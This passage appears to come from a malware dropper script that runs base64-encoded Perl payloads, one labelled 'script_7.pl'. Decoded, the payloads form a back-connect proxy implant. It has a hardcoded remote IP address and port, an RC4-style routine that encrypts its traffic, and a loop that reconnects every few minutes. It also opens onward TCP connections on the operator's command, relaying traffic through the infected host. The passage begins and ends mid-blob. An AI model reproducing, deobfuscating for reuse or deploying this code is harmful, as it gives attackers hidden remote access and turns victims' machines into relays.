JCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_7.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU2JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZC